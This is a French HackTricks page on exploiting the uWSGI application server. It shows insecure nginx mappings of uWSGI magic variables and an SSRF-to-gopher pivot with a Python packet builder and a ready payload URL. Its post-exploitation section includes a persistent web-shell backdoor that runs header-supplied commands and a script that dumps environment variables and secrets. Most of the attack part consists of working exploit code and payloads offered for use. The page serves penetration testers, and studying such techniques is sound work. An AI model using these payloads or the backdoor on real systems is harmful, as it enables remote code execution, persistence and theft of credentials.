WSGI Post-Exploitation Tricks

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu WSGI

Web Server Gateway Interface (WSGI) est une spécification qui décrit comment un serveur web communique avec des applications web, et comment les applications web peuvent être chaînées pour traiter une requête. uWSGI est l’un des serveurs WSGI les plus populaires, souvent utilisé pour servir des applications web Python. Son transport binaire natif est le protocole uwsgi (en minuscule) qui transporte un ensemble de paires clé/valeur (“uwsgi params”) vers le serveur d’applications backend.

Pages associées que vous pouvez également consulter :

Werkzeug / Flask Debug

SSRF (Server Side Request Forgery)

Exploitation des variables magiques uWSGI

uWSGI fournit des “variables magiques” spéciales qui peuvent modifier la façon dont l’instance charge et distribue les applications. Ces variables ne sont pas des en-têtes HTTP normaux — ce sont des paramètres uwsgi transportés à l’intérieur de la requête uwsgi/SCGI/FastCGI depuis le reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) vers le backend uWSGI. Si une configuration de proxy mappe des données contrôlées par l’utilisateur en paramètres uwsgi (par exemple via $arg_*, $http_*, ou des endpoints exposés de manière non sécurisée qui parlent le protocole uwsgi), un attaquant peut définir ces variables et obtenir une exécution de code.

Mappages dangereux dans les proxies frontaux (exemple nginx)

Des mauvaises configurations comme la suivante exposent directement les variables magiques uWSGI aux données contrôlées par l’utilisateur :

location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}

Si l’application ou la fonctionnalité d’upload permet d’écrire des fichiers sous un chemin prévisible, la combiner avec les mappings ci-dessus entraîne généralement une RCE immédiate lorsque le backend charge le fichier/module contrôlé par l’attaquant.

Key Exploitable Variables

UWSGI_FILE - Chargement/Exécution de fichier arbitraire

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Charge et exécute un fichier Python arbitraire en tant qu’application WSGI. Si un attaquant peut contrôler ce paramètre via le uwsgi param bag, il peut obtenir Remote Code Execution (RCE).

UWSGI_SCRIPT - Chargement de script

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Charge un script spécifié en tant que nouvelle application. Combiné avec des capacités d’upload ou d’écriture de fichiers, cela peut conduire à RCE.

UWSGI_MODULE and UWSGI_CALLABLE - Dynamic Module Loading

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Ces paramètres permettent de charger des modules Python arbitraires et d’appeler des fonctions spécifiques qui s’y trouvent.

UWSGI_SETENV - Manipulation des variables d’environnement

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Peut être utilisé pour modifier les variables d’environnement, affectant potentiellement le comportement de l’application ou permettant le chargement d’une configuration malveillante.

UWSGI_PYHOME - Manipulation de l’environnement Python

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Modifie l’environnement virtuel Python, pouvant charger des paquets malveillants ou différents interprètes Python.

UWSGI_CHDIR - Changement de répertoire

uwsgi_param UWSGI_CHDIR /etc/;

Change le répertoire de travail avant de traiter les requêtes et peut être combiné avec d’autres fonctionnalités.

SSRF + uwsgi protocol (gopher) pivot

Modèle de menace

Si l’application web cible expose une primitive SSRF et que l’instance uWSGI écoute sur un socket TCP interne (par exemple, socket = 127.0.0.1:3031), vous pouvez communiquer en utilisant le protocole uwsgi brut via gopher et injecter des variables magiques uWSGI.

Ceci est possible parce que de nombreux déploiements utilisent un socket uwsgi non-HTTP en interne ; le reverse proxy (nginx/Apache) traduit l’HTTP client en ensemble de paramètres uwsgi. Avec SSRF+gopher, vous pouvez directement construire le paquet binaire uwsgi et définir des variables dangereuses comme UWSGI_FILE.

Structure du protocole uWSGI (référence rapide)

  • En-tête (4 octets) : modifier1 (1 byte), datasize (2 bytes little-endian), modifier2 (1 byte)
  • Corps : séquence de [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]

Pour les requêtes standard modifier1 vaut 0. Le corps contient des paramètres uwsgi tels que SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE, etc. Consultez la spécification officielle du protocole pour les détails complets.

Constructeur de paquet minimal (générer un payload gopher)

import struct, urllib.parse

def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)

# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Exemple d’utilisation pour forcer le chargement d’un fichier précédemment écrit sur le serveur :

params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))

Envoyez l’URL générée via le SSRF sink.

Exemple pratique

Si vous pouvez écrire un fichier python sur le disque (l’extension n’a pas d’importance) avec du code comme :

# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')

def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']

Générez et déclenchez un gopher payload qui définit UWSGI_FILE sur ce chemin. Le backend l’importera et l’exécutera en tant qu’application WSGI.

Techniques de post-exploitation

1. Persistent Backdoors

File-based Backdoor

# backdoor.py
import subprocess, base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Chargez-le avec UWSGI_FILE et accédez-y sous un SCRIPT_NAME choisi.

Persistance basée sur l’environnement

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;

2. Divulgation d’informations

Environment Variable Dumping

# env_dump.py
import os, json

def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

Accès au système de fichiers

Combinez UWSGI_CHDIR avec un utilitaire de service de fichiers pour parcourir des répertoires sensibles.

3. Idées d’escalade de privilèges

  • Si uWSGI s’exécute avec des privilèges élevés et écrit des sockets/pids appartenant à root, abuser des variables d’environnement et des changements de répertoire peut vous aider à créer des fichiers possédés par des comptes privilégiés ou à manipuler l’état d’exécution.
  • Remplacer la configuration via l’environnement (UWSGI_*) à l’intérieur d’un fichier chargé via UWSGI_FILE peut affecter le modèle de processus et les workers pour rendre la persistance plus discrète.
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Problèmes de désynchronisation du reverse-proxy pertinents pour les chaînes uWSGI (récents)

Les déploiements utilisant Apache httpd avec mod_proxy_uwsgi ont récemment rencontré des bugs de response-splitting/désynchronisation pouvant influencer la couche de traduction frontend↔backend :

  • CVE-2023-27522 (Apache httpd 2.4.30–2.4.55 ; aussi pertinent pour l’intégration uWSGI avant les correctifs 2.0.22/2.0.26) : des en-têtes de réponse d’origine spécialement conçus peuvent provoquer du HTTP response smuggling lorsque mod_proxy_uwsgi est utilisé. Mettre à niveau Apache vers ≥2.4.56 atténue le problème.
  • CVE-2024-24795 (corrigé dans Apache httpd 2.4.59 ; uWSGI 2.0.26 a ajusté son intégration avec Apache) : du HTTP response splitting dans plusieurs modules httpd pouvait conduire à une désynchronisation lorsque les backends injectent des en-têtes. Dans le changelog de uWSGI 2.0.26 cela apparaît comme “let httpd handle CL/TE for non-http handlers.”

Ces vulnérabilités n’accordent pas directement de RCE dans uWSGI, mais dans des cas limites elles peuvent être enchaînées avec header injection ou SSRF pour pivoter vers le backend uWSGI. Lors des tests, identifiez (fingerprint) le proxy et sa version et considérez les primitives de desync/smuggling comme une porte d’entrée possible vers des routes et sockets accessibles uniquement depuis le backend.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks